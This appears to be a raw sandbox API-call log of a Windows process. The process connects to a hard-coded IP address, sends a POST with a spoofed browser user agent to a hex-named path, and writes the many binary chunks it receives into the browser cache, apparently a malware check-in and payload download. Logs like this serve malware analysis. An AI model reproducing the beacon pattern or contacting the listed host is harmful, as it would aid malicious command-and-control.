06:38:12,523	996	RegQueryValueExA	Handle => 0x00000220 DataLength => 4 ValueName => ProxySettingsPerUser Type => 544	FAILURE	0x00000002
06:38:12,523	996	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
06:38:12,523	996	LdrLoadDll	Flags => 520424 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
06:38:12,523	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:38:12,523	996	RegOpenKeyExW	Handle => 0x00000220 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
06:38:12,523	996	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
06:38:12,523	996	getaddrinfo	ServiceName => NodeName => 69.162.112.178	SUCCESS	0x00000000
06:38:12,523	996	socket	type => 1 protocol => 6 af => 2	SUCCESS	0x00000220
06:38:12,523	996	bind	ip => 0.0.0.0 socket => 0x00000220 port => 0	SUCCESS	0x00000000
06:38:12,523	996	NtDeviceIoControlFile	InputBuffer => FileHandle => 0x00000220 OutputBuffer => \x01\x00\x00\x00\x01\x00\x00\x00\x0e\x00\x02\x00\x04\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
06:38:12,653	996	connect	socket => 0x00000220	SUCCESS	0x00000000
06:38:12,663	996	setsockopt	socket => 0x00000220 level => 6 optname => 1 optval => \x01\x00\x00\x00	SUCCESS	0x00000000
06:38:12,663	996	setsockopt	socket => 0x00000220 level => 65535 optname => 4102 optval => \x80\xee6\x00	SUCCESS	0x00000000
06:38:12,663	996	setsockopt	socket => 0x00000220 level => 65535 optname => 128 optval => \x01\x00\x00\x00	SUCCESS	0x00000000
06:38:12,663	996	send	buffer => POST /4C4FEF4B6ED8F1684973FE753352286D2D966CD844 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 69.162.112.178 Content-Length: 315 Cache- socket => 0x00000220	SUCCESS	0x00000250
06:38:13,895	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:13,895	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000000 SubKey => MIME\Database\Content Type\text/html; charset=utf-8	FAILURE	0x00000002
06:38:13,895	996	RegOpenKeyExA	Handle => 0x0000022e Registry => 0x80000000 SubKey => MIME\Database\Content Type\text/html	SUCCESS	0x00000000
06:38:13,895	996	RegQueryValueExA	Handle => 0x0000022e Data => .htm\x00 ValueName => Extension	SUCCESS	0x00000000
06:38:13,895	996	RegCloseKey	Handle => 0x0000022e	SUCCESS	0x00000000
06:38:13,905	996	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000	1 time
06:38:13,905	996	NtCreateFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\WEXIGKLS\4C4FEF4B6ED8F1684973FE753352286D2D966CD844[1].htm DesiredAccess => 0x40100080 CreateDisposition => 2 FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:13,905	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:13,905	996	NtWriteFile	Buffer => \x80\x00\x00\x00;\xef\xb2\xfc8\xa1}!kFVj\x8d\xea\xaf\xb44*\xa9d\x08I\x0f\xbd\x03\x83\xa5\xf9\xbb\xc3%fz.\xcc\xcb^\xa0\xb5C.g\xf1<\xb0j\x01~\xfb\xffF^\x87d\x000\xc5\xcd\x83\xc8\x83\xa7\x0c\xed\x9b\xea\xbb\x16\x8cad\xe7fA\xe1\x1d r&\xe6\xd8\xbc\xab'\xb8\xbe~\xa8\xb3:\xca\xd6r4/\xd4\x8e>\xb7\x07` \xed\x11\x0bM97\x8d\xa6FvP\x1a\x9d \x16\x84\xfb{L\xc1 `\x9ax\xb1=\xc1\xab\x00\x00\x8dG\x91\xf5m_\xdb{(\xe5\xec\xf2Z0K\x1c\xd1P\x0e\xdf\x10\xde\xca\x81o\x1d\x03\xd1\xf3 \x1d\x058\xdeR\xcb\xa0\xdc\\xdf\xcb\xb2\x9d\xe0B\x00\xdaq_\xe8\xef^\xe8\x83\xe1)\xb8\x86t|\xe2\xa9\xd39 \xec\xdf\xc1\xd1]CP\x10\xe6\x02}?d\x8e\xd5\xc1q\xfdB\x10b\5\xf5\x0e\x01\xa0\xe4^\xf7c\xf8\xbb\xc3Z\xae8\x7f\x12(\xd8K\xc1\x100\x07 \xb9\xb23Q\xa4\x1bMO FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:14,085	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:14,085	996	NtWriteFile	Buffer => \xb0d\xbb\xa9\x03\x1c\xf2\xc9\xb0\xe0\xc4`\xce\xfb\xab\x0fv\xa8\xd6\xd8\x97\x0ffdO\x8a\xef\x7f\x11U8\xed\xbb\xe8\xef\x82~\xee\xe0\xd1,)~\x98p\xd8\xc2x\xab\xd4P \xc4\x9b\x07\xb9w\x84k\xebv\x00\xdc\xcf\xf1\xe3\x1f\xd0\xca\xb8\x00\x82\xf0\xd3 \xc7\xd1\xac=\xda\xab\xb9\xa6\xca=\x00\xc2\xe8x\xf5\x11&\x93aPy\x07\x07\xc9\xb0\x0f\xd2Nd\x98\xd5r\xf7v \x1b\xa3{\xa8\x17\xd5\x05\x84\xf2\xd3\x16:(\xc7Q0\xd8t&\xf8(Q>\xd1\xa7\xed\xb1'\x15E\x86\xd3N\xcaI\xe47R?L\xb0\xb4\xc9+4q O\x84\xa6\xe2<\x989\xde5\xc2\x0b\xe9\x0c\xc2n(f\x04\xc8@\\xbdx\x00\xd2U\x01\xff,\xa8\xc8\xf6$/\x92E\xb9\xf1\x9d@1A9\xe3\xc9\x12\x11\xc8\xb6\xb96\x8b \x11\xce\x01\x98\xc2Al\xa4\x14\xa6\xab\x1b\x94~\xc3\xb61\xee\xe4]\xdf-t\xfb\xee\x94\x94\xcb\x91_\xe5G\x9aHL\x82\xa0b\xa2\xcc\x9cY\xa0C\xcc. FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:14,385	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:14,385	996	NtWriteFile	Buffer => \xfd\x00W\xf1\xc7s\x9a\x01\xf4\xd6+\x19]`\xc5\xe5\x82\x8c\x8ba\xd1\x16\x0c\xfb\xe8\x02\xda\xe2\x1a\xad\xf0H\xd5\x0c\xa9\\xaa\xf8o\x86\x87l\xf8\x8b\x94\xb0\xea\xa9\x01I\xaf\xbbl\xf6\x91R\xf4s\xac\xf0\xeb\xc4\xd37)?S\x9c"\x81p*\xb6\x02\xe2\xea\xe2\x9a\x9c\x96\xd5A\xe0\xf3\x88\xc2Q1\x01wq\xbdC\x02\xc3\xdbH`\xc9'\xb6\xf6\xe2\xea\xab\xbf-Z\x9f\xae=5\x15\x19\x84\xc7\xd0\x06\x11r\xa30\x8c\x86\xe9+\xa5\xefs\x11\xb9:\xcdG \x7f9\xc5\xde\xcf\x802\xb9 \x9be\xf0\xc6.B\xb2\x16\x92\xab\xcb>+8oF\xeb(\x10\xeeR]\xe7\xd1\xc3\xd4\x92\x06\x1b4\xd5\x85\xf4l\x94f\xa0\xca\xa4 \xaaT\xae\x88\xf3\xdc\xdb\x91\xad?\xbc\xfb\xa1\xf8\xf8\xb4`\x1f\xf02W\xb6\xa2\xc8\xe7\x80\xca\x9a$U\x85 \x16IXj\x1cY#Zk\x02\x0f\x90\x13\x81O\x00\xbf\xdb\xd0\xf9\xb7iM=\xaf 0\xfb\x99m\xce`\x05\xb3\xf8\xdb\xe4\x16b\xda FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:14,385	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:14,385	996	NtWriteFile	Buffer => a#O\x9f\xc8=\xdf\x0c\xa4\xc7\x85\xa9\xce\x0b]\xa8\xfa}\xc0\xac\xdf\x1f\xfd\x10O\xe5\xe4-\xaf-\xe5o";\xc6\xb1\x85f\x14,\xc0\x1d\x84\x0c\xbe\xaa\x8e\xd1\xeb\xc8\x9d\xb4\xb6m\xbag\x15\xb1`\xa0D\x14\x88\x03\x8eo \x9e \xd9\x7fA\xa5^\x1e\xef\xe0\xc5\xd9O\xb8g\x01\x87\xc3\xa8\xf7e\x1bVwXu\xeb4\x9a'D\xb2c\xfd\x9b\xe3S\xb7\x9deG\x17\x1bX0p\xbat\xae\x92\x98\xe9\xe6H\xe0'.r\x0c\xc1]?\x99\xca~7\xcf2\xed\x95)\xba\x9b\x81\xce[\xf80\x85\xbe\xda|\x1b\x9b\xae\xb8\xe8x \xcdavQ\x81y\xf8\x1d\xc6u\x80\xfd\xad\xb9\x11\xee\xfa;U\xd1\x8b\xe3x\x16q\x05\x8b\x95*\x10LH\x9f\x189:]\xa1\xc3\xdcu\xffY\xc3\x1efdhI\x1cMP|\xb3\xff\xa68\x80\xacG\xe2\xd4|\x80\xbc\x01F+>\x141*\xc5\xd6_\xaf@qiLD7\x97'\xc5\xe8\xd2\xf5\xc6*\x8b\xff\x13\xe6\x8b\xe2\x9f4\x0b\xc1 FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:14,536	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:14,536	996	NtWriteFile	Buffer => _\xb8:\xce\xa7#\xa3C\xfeMB\xb2.d\xf9F\xd8\x01\xbd\xaa\xd6\xf3B\x8di\xfc\x02\xeb\xcfP\xb2\x10o\x86\xe4\xf0\xd2\xc7\xe5\x08\xe3\xee,\xf8\xd6\x80\x1b\xbd~\x8f\xc1\xf7t5\x851\x97\x1a\x98y\xdb\xa6\x0e\xd0\xebs4\x0c\x81m\xbb\xd7\xd8\xb8I\xb9\x9c$\x8b\xf9D\x0be\xd1\x1d\xe3\xd8}\xff\xac!\xe6\xa1\x89\x04\xb2/9\x0b\x86(.\xbe\x1d e(M\x91\xabAi\x9e\x17\xe7{\xb1M~\x97\x19\x14e\xf4\xb7b\xecN\xaf<\xe5\xd8\xce\x98\xb0\xf2~\xb9\xd3\xe9\xdb\x85\xa8\x02x\x06\xa6\x12\x7f\xdd\xc6\x99\xdd\xbc \xd3\xaf\xf3(\x1dv\xc2\x83\x7f\x0e4Mta\x153o\xe0\xe4\x0e\xc9\xf9\xae\xf8\x02f\x81\xf1 !\xc5\xc0\xe1\xffI\xba\xba\xcakS\x1d:\xce\x04\x86\xc6x\xc8I| {n\x08"\xfc?\xc7\x1e\xb9u\x0b\xaa8\x95\x05\x8d;\xea\xd5 K\xe6\x8f\xda\x1e\xe2\x12\xef\xde\x93\xd7i\x8a\xf4"\xcd\x1bI`\xe4\x17k=\xa0\xe8\xdc\xda\xe3\xbd\xd1 FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:14,536	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:14,536	996	NtWriteFile	Buffer => %d^<\xc5X\xde+\xf68\x16\x13M\xfc\xc7\xd94\x8b\xac\xe2Gi:k\xd9\x0f\x9fKE\xb5\xf5;`\x85\x93\x8f\xc8\x0fL\xfe\x87\xea~Zn2\xca\x17\xb0\xe6\x88\xf7\xf2\xaf\x17\xa5\x96}\x01\xa1qZB\xe9\xc6\xff\\x8a\xa8\x95 \xe5, \x98\x97\xbf\xd7o^0 \xd3\xce\x90w4\xc2Q\xf0`;\x07D\xed\xb5\x1aB\xf26\xa4\xf9\x19\xb1:\xab\xe7\x8e\xf7\xeb\xa5B\xc5:}"j\xbdd\xe8\x0c>\xd2!]guQ(Y.\x1c\x18&\x0e/\xcb\x9f<\x1d\x0f\xc3<\x1c3\xb0\xffB\xb4,O*\xbdS\xf0\x11 p\x1eW\xcb\x9d\xef6 \xff\xc5\xfeTH:\x7fn<\x8a(\x18\xdd\xa8\xc5"\xb4\xad\xd7\xc1\x87\x1c\xbb,2\xc5\xf2\xf7\xb7\xa7\x1fh\x85v\x14\x0f\xbe\x17\xe5\x9d\xb70\x7f\x87\xfaMDn\x95n\x19\x90\xfb]\xed\xd7\xa6\x07\xc0\x8e\xb2\x83}t\xa01N0q\x1a\xb8l\x87\xe6@\xed6\xf3\x19\xbdg\xc2Q\x18\x93\xfc\xc0!\xc6]\xae FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:14,706	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:14,706	996	NtWriteFile	Buffer => \x97\x8e"3\xc8\x00/\xa0\xd5\x96\x84\xdb\xad A\xf5o\xe5\x01\x15\x05\x96\xfb\x0f\xabCL\xab\xb5\x11\xa9\xd5\x13f\xc9\xd6\xb5\x97\x00\xc6N\x7f\xe3\xdco \xc8W|\xd0\xb9:#\x99\xe4t\xd6\x93\x18\x1e\xcb\xe8!\xcf\xa0,\xaa\xf9\x0fp;\xdc\xfd\xc8\xcf\xe7\x99HeUh\xd160C}\xf5+\xa6\xdf\x99\xb0\xc6u\xb1\xc5`s\xf0\xbf\xb9\x9d\xa5vu\xc5\x1a|\xe9 \xf0\x94\x8bQ\xa4\x8e\x1c\xcf\xb7\xb4\x95}\x15\xed\xbb\x1f\xde#\x1c\xcf\xe3/\x87\x88\xcdne\xa4*x_Qo\x97Mg_N4t\x97$_\x19\xb7\x9eq\x9e\xa5M\xb7\xad\xe4\xf4\x1f\x8b\xd9\x88\xefu\xd9\x99\x13g\xad\xd2I\xab\xa9\x82 t\xf3\x81\xab1\xff\x93\xc6@oN\xf3j+\xcf \xc5\x19W\xd8/\xda\xa4V\xeb\xf1\x9c(\xda>'j\xe97.\xbb\xc4Z\x91bp\x96\x11\x0e\xee\xd7e\xceYo\xb1\xea\xcd\xe0]\x96B\xcd\xc1\xee\x83\xcda\xb4RrA:M\xfa\xf7\x17\xd3\xa2\x0e FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:14,706	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:14,706	996	NtWriteFile	Buffer => \xf7q\xb9\x0c\xc6\xba\xfe\xa1A\xeb\xc1\x82\xd67\x12\x9e=\x94+\x85\xedA\x12\xd1\xe4L\xc5`\x9eAN\xbf|\xa5\xf1[\xb1\xecr\x1a\x18\xa1\xf6\x1dJ\xd1\x80m\xa0Hwd\xbb\xff\xbbU\xa3D\x9a\xf8Eq\x0f~\xef\xea1\x1e\x9deS\xea\xc6\xd4\xb4\x04\xac\x05#JUv\xf4\x8a\x84\x0f\x01\x13\x9f\xed\xdf\x15E\x9b\xfdR\xd8@\xcf\xe9\xa0\xcd\xbd<\xf8\xef\x908\x80e8?\xcc4P\xc9\xbc\xc0\x82>:.X$\xca\xfe\xb4=e\xf2\x83\x05e\xde+\xfa\x1c+\x9d\xb0"\xf0@X\x0c<\x1a+0\xcf\xc2KJ\xf1T\xddI\xc0l\xe6=,\xc4\xaa\xbb&_\x1dp\xe2\x0f1\x96~\xb2?\xbd\xbc1\x00\xdf\xb1\xe2\xf0\x80\xa9'\xc5s\xfe\xf7>$!5\xfd~\xf5\xb4\xc8\xfb\xf5\x82X\xa9V\xf9\xd1r\xfa\x86&\x92"\xec\x9fY\xab\xb6&@l`\x16{u.\x1b\xd7\x1a\xd3\xc5\\x0f\xdb?\xdev\x8c\xc9q\xed\x03\xaf\x1ch\xa1\x99\xccAp\xd2 `\x05\xa2 FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:15,177	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:15,177	996	NtWriteFile	Buffer => \x95\xfb\xed\x8a\xb4W\x1a#\xbd\\x83\xa00J\xcc\xac\x83\x7fr\x9c\xf7Qj\x83(\xac\xbc\x14\x18wD\x05<\x1f\xfbu\x159>\xceKJ _\xb7\xae.\x0fX\x817|Ubf6\x89}\xdaE\xdf\xdb=\xaf\x9f\x90\x1b\xec*\xc8$b\xc8<e+\x88\xcdti\x8b\xca\xdc\xf3\x8f\xf7\xa6\xb1\xe2\xf6\x06U\x87\xa4`\xa6~\xb2\x1dDi\x03n3\x9e`\xf4\x17\x01\xe3\x0c0\xd5\xd4\x8f\xaf\xadk\x08o\x94\xf5\xa3\xbe\xa6\xf9\xd8\xf2\xa8\x9a }t<O\x9a\xb9\xf1_ \x03\x02Aec \xa8\xbf-I|\x03\xd7\xc9\x02-\xad\x1f@m\xdf\x7f\x87\xa5\xe11\xb0\x0b\xbcw\xc1cn`uB\xc3\xf1\xaf\xdc\xb7\xb1\xfb\xe4\xc6\x89E\xf8)\x0e9ka\x14\x1a\x0c\x9b\x08v\xf0\xf6\xa6U\x98\xe6A\xf2\xb5\xdc\xb5'\xea]\xb1\x93#\xc3\xfe\xb8j\x91<\xf0\x88\xa0\xac\xf3\xe3s\xfa\x0cV\x1e%\x82\xea\xa5\xebz\xfa\x92g7\xe7\xed\xbe\xb2\x90\xd1i\xf2\x1c\x03l\x1ee FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:15,177	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:15,177	996	NtWriteFile	Buffer => \x8e\x83\xe3\xaa\xcc\xb6\x1f\xb3j4\xb8\xf8\x14\xff\xe0\xe8\x8e~c <)\xc3\xc0-\xf7xfZ\xf4\xd0\xad\x87\x07\xec\xf3\xc0M=\xc6\xb6\x05\xac/\xa4{\x80R<Ec\xd4MU\xe6\x7f\xaa\xfc\x8c\xe8\x85wV\xf1\xf8\xc7E\xfc\xe7\xb6\xc9\xd9F\xb3\xceybu<=\xdd\xa1\x02\xa5\xa5\xc1\xe5;\x02\xc0\xbeH\xad:\x82\xe9\x17\xf5\x16\x16\xcc\xfcJ\xee\xb3\xb9\x04\xb1\xe9\xb9\x97\xa2\x00\xe9\x0f\x99BqAW\x1f\x01|-\x1a\xc2\xab\xb4N%\xc5\xa7NH`\xb6U\xf2@_@)\xfc\xbc\x16\x02D\x19Etj<\x92% \xb7\xaf\k1\xca\xd0'\xa1\xab\xf8\x92|\x16\x9d\xfe\xfcg!q\xae?\xa2\xa1_?\xa6Ld\xfbH\xf5\x9d.\xa9u\xd4\xf7\xda5\x04\xf7\x97\xc8\xc6!F\xb2\xc5r\xd2Gy\xce\xf8dfU?\xa2\xc0vN\xcf\xaa{\x92\x9b<\xe0\x90\x10\x94b\xb3\x08\x11\x9e+s|Yh\x8fQA\xf4'1a!b\xa3\x9cNt\xb0\xad\xba\xc7 FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:15,177	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:15,177	996	NtWriteFile	Buffer => \xb7\xa2\xa0uD\x0bS\xcb\xd3MUtA\xd4\xb5 ?\xbbr\xaa\xb2a\xb0\x08\xf2\xee\x12\x83\xae\xa7{\xc9\x14\xe9\xf1\xc26P\x128\x17 \t\xe6\x95"Ae/\x08\x8d"\xddK;#\xb3\xf151\xb5\xdb<\x91[\xdf\xda\xfeK|\x92sm\xf2\x90\xccz\x8c\x0f\xab6y\xcf\xd6l\xc2\\xb6-l\xd3\xef#\xea\xcf\xdb\xf6\xf0\x84\xdd\x14\xa7Em\xbd\xa5\xb9\xe4!\xafJ_\x13X\x81Tu\xb8\xdc6\xd3\x9cS-\x88\xd7\xe1H\x05\xbb\xd7=\xac\x84#uU? B,\x16U\x9a\x91\xbdJ\x19\xa4\xfb\xeegr\xfc\x17C\x1ae\xb4h\x95\x03(\xfe\xa7NK\x94+\xcb\xd1\x85l\xb6B\xaf\x01\x08\x87|\x87\xdd\xc2\xa8\xc7\x0c;\x06\xeb\xdf\x97\x0f\xde\x81\x84\xe2\x81\xde:\x87\x07\xe2\xd38\xd5\xeaJel\x94Li\x0fZ\xc9\xa9\xc8\xe1v\x1c\xd0515]\x99/\x1fg\xd9\xd0B(\x9c\xfe6\xa5NV\x1a8O\xd3\x96\x8f\xb43\xb2u\x15\x80\xc0|'\x96 FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:15,417	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:15,417	996	NtWriteFile	Buffer => \x9d\xaf \x98\xa61\x85\xeb\x9d\xe0\x00\xa5\xfb\xce\xca\xd9bnjr"\xfe\x8e\xbf.n\x0c\xe1\x97\xa5\x8cbR\xe4\xca\xcd\xf0\xd9\xf9\xf7\xa0\x87J (!\x1d?\x1eQ\x89\x12/\xc2\xa4\x16\xc1\xad\x11(\xe0\xf6\x01k\xef{\xe1\\xaaV\x87DSe\xf6\xfcw\x01P\xf2F\x93+\xeb\x0eE7[L\xc2\xb9\x9b\x840\xeam\x9d\x08X\x86\xbf\xdap"\xa1\xb4\x00\xcaw\xe7\x909\xd1R\xa4!h\xd4Z6\xd8\x83\xbde\xfd\xb2$\xfd \xb4\x95\x18>k\xca \x82\x9f\x99\x99\x8d(\x96vS\x96\xfc\x8dU y\xb0\x0fS\xc5 \xc3\xedN!\xf3A\xd0\x8d\x8c\x00\x9f\xfcv\xeb\xf2\xc5\xb5\x92\x06\xe8\xd6\xcb\xb6!\x91\xe6P\xa5\x94\xcdP\xc9\x88_ \xf2\x90\x95\xcet\xf4\xca\xef\xc8aN\x14\xa5%\xcd\xc4\xcf\x12l\xa9\xd9\xdbEx\xd9i\xe0\x06d\xbe^bP\xae\xb6\xe4\x81\xa7c[u\x8e\xbf`\xdeO\xb8\x0f|\xd7\xd6WG\xb1\x8b@\xfe\xfb1>K\xeab~= FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:15,417	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:15,417	996	NtWriteFile	Buffer => \x8b\x82?\x14\x0b[=\x0b\x7f\xbd\x07\xdd\xa0\xfe\xc9\xf5\xa3\x83e\xe6\xb7\xc1l\xbc9\x15#\xb4\x08\xf1\xc53\x02$\x9e\xcd\xf1\xab\xc5C\x11-&\xb8\xcb\x96J\xfbvU\x99\x10\xf5\x95lB\xad\x91\xf7\xf7Q\x7fG\x08\x07S]h\x90W"\xda6v{h8g\xb5\xafs\x00Z\x84r\xcd\xf4xi\x98\xba\xdc*}#\xd3\xb8Z\x129\xe2\x026\x9b\xa3\xd59*\x07\x91E\xc9pE\xcf=:\xd0\x10\xadxGMw\x00\xe8\xe4S#\x93\xda \xe9\xd4 FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:15,537	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:15,537	996	NtWriteFile	Buffer => \xd5M\x06.]\xdd\x81\x86\xa7\xa4\x02\xa4W\x14\xdc\x11Y\xbc\x9b\xa4\xf3\x06H\xddG\x06$y\x0f\xf5PON\xffL3\x99\xe84\xf8\xedL!\xc5\x885\xf0\xcd@\x86\x9c\xaa\xbe\xcd3CM~\x94%\xf1\x8e\x93\xb8F\xb7\xad\xc2\x97\xca\xb1\xfd\xf1\x01\xdcv\x84cQp~xR\xf6:\x0f\xbc\xe2*F(nZ<\xaf\xafQ\xe9\x04tnU10I\xea\x1d\x93\xc4|\x03\x91vOKG\x0b\xbd\xa6\xe6\xc8L\xbe\xf5K\xac\\x14J\xee\xcd\xfb\xcf\x08\x80\x8dIJ}i~e\x07\xc5\xf4j\xaf\xb2\x94\xa6V\xbb[\x9ev\xab\xec\xf8S\x14\x92[\xa1o\x8d\xe9\x03\xc9p\xdaI \xee\xa6qR \x0c\x15Gt\xda\x84\xffl\x86%-\x9c\xe2\xd5\x99Y\xc4\xb5&+F\xa0\x01\xd0\x01\xab\xef\xac\xda\xbe\x844\x0c\x1eqw\xe3 \xca\x94k\x98B\xd5fS\x8a\xd5\x8f{]\xf7.\xe7\x0576 mY\xb5\x99\x16\xe6\xa5\xca\xd7Ai\xec\xb3B<\x82\x11\x95'\xcfe FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:15,547	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:15,547	996	NtWriteFile	Buffer => \x9b\xd4\x80~\xd5 \x03 '\xcd\xe5\xed}\xa4\xde\=-\x0e\x82D\xfa\xe01JmVl\xf7F\x8e\xe2\x96\x9d\xc5W\xfaf\xf5l3\xc2\x82;\xe71\xe6\xe2\x95\x93\x08\xf7\x00\xf2\xbf\x01<\xcd\x98P\xc5\xd1\xe1\xcd\xfbk\x13\xfd\x1aR\xc1;\xc1\x07{N\xe3Yw\xf4\xf1\x8a&\xc6R\x9d\xc5\xa8\xef$ \x19\xaa\xdc\x8e.L\xa25\xc7\xa6\xf1)~\x11\xb4\xffdB\xb6\xb6\xc4Sp\x00\x05\xd3Of+.\xbb,n:8Y\xe6h\x86\x8a\xf0\xdbJ\xc2\xee\xe79\x1fe\x06\xde\xc3%\x85{\x1a\x14r\xf7\xa6\xa8\x0fd\xe7\xaf\x8d\x1e\xafF\xee\xa3w\x94\xa9\xd0\xb8\xf4.\xdd\x9ee\xee\x1b\xf2y\xa3N\x92&\xc5jK\xf0\x93\xbf\x06{T\x06\xb5j<\xec\x0b\xf8\xf8,\x0e\x9b\xb2*\x00\x90\,\xc3\xd6\x0e \xc05\x11VN;eo/\x82\x88$\x957i\xa9hu\xcf\xcbLS\xcc\x91?\xd4\xd7\x8a\xbc\xa4\xf9uu\xa1\x87\xca\xbf\x851\x9a\xc69\xff\xb8Op FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:16,128	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:16,128	996	NtWriteFile	Buffer => \xb3\x96!`\x8b\xc8\xd2u\xb8\xcf\xf5B\xf4\xb6\xfbu\x93~C\\x8fF\x19@\xdf\x8c_\xfc\x8a\xa4C\xe2\x9a\x83\xfa\x1ds\xf5\xd1\xdb\x82w\xec5\xfbv\xae3?g\xff\x07D{\xaa\xc7Ux\xe8\xf7"\xad\x94U\xc3k\x1e\xaa#W\xb7\xe7+ \xf9J|R\xe6;\xa7t3xn\xed\xd2\xee\x0c\xed\xd1\x1b:\xa4\x10\x93V3\xc7\xcd\x15\xb5\xc9\x1b\x01\xa8\xd9\x8c[\xa1\xb3c\x11\xdfn}`\x93\x19\x9e*C\x82*)R\xe5\x9a^\xdf\xa6]*`2\xe0\x1e\xa0\xb7:\x19X\xed\xf4;\xbb\xd3\x9f\x9blbY\xf4r\x03\xc3\x9f\xf5\x81\xe0\xa6A\xf8I\x9f] n4\x17\xa3\x1b\xdc\x81\xea\xa7\x7fk\xd0tO\x03\x8a\x98|\x08|+\x18g?#\xf1\xba\xd5\x13s\x1dqN\xac\xbe\xda.Lv;\xaa&),Qp\x88\x91\xbd\xe0\xc4\xbaZ\xc9\x90\x8d5\x1a6\xce\xb8\x82\xdb\x97\xed-\xcf\xabM^c\xd1\xb1u\xf9>\xbd\x88\xf9k\xd1\xaaH\xa3f\xedl\xd2\xd7 FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:16,128	996	WSARecv	socket => 0x00000220	SUCCESS	0x00000000
06:38:16,128	996	setsockopt	socket => 0x00000220 level => 65535 optname => 128 optval => \x00\x00\x00\x00	SUCCESS	0x00000000
06:38:16,128	996	closesocket	socket => 0x00000220	SUCCESS	0x00000000
06:38:16,128	996	NtWriteFile	Buffer => \xbb\x88\x84Rm\x83*\x15,\xd9C\x1e#e\x1b\xfcQEw\xf7/\xfc\x04N\x15\xb2.\x90 '9IZ\x87\x9f\xa0,4\xa7uQ-\xb8:\x985\x9c\xde\xacF\x15\x12\xe2\xc0\x96\xb5\xae"\xf90\xcc\xcd]\x93Mj\x17\xe5\x08_\x01Rzj/<n\xca\x94\xf4\xc9\xe1\xc2V\xe8\x90\xe3\x92\xed\x0fA\xd2\@E\x81\xdblg\xf4\xaf3\xc9\xe5m|\xc8\xcc\x10\xad\x1b\xd8\x93-jX\xe3\xda"\xbd\xf5\xc8\x7f5\xe5\xbc\xde\x88\xae\xd4\x9e6\xb7 \x1f\x8d\xa9i\x9ed\x07\xe8\x8d\xadlV\xa6)}\xd9\xd44\x81\x03\xf5\xae\x17\xe8\xd3k\x9e\xf0c\xe3\xc0\xfd\x08\xf4\x13\xb1zi\xd9\xec\xab\x8a\x1f\xd3\x9eE\x89V\xf9\xdc\xba\x05e\xe3\x13\xb1\xf5 \xd0\\x83\x02\xdf\x97t"0\xa4Y\xe9\x05\xc8\xb0\xdd\xe8$\x08|\x8d\xf8\x96\xec|*r\xe7P\x94,\xfe\xf8\xcbXD\x0f\xe6e-Z\xc5\x02d\xc2 9V\xa4\xd6\x7f\x02:\x9c\xc9\x7f\x9d%\xffc\xd8\xaeM FileHandle => 0x0000022c	SUCCESS	0x00000000
06:38:16,138	996	NtQueryInformationFile	FileHandle => 0x0000022c FileInformation => \xf0\xa6\x02\xe6\xf3\x91\xcf\x01\xf0\xa6\x02\xe6\xf3\x91\xcf\x01\xf0\xa6\x02\xe6\xf3\x91\xcf\x01\xf0\xa6\x02\xe6\xf3\x91\xcf\x01 \x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
06:38:16,138	996	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000	1 time
06:38:16,188	996	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x01b10000	SUCCESS	0x00000000
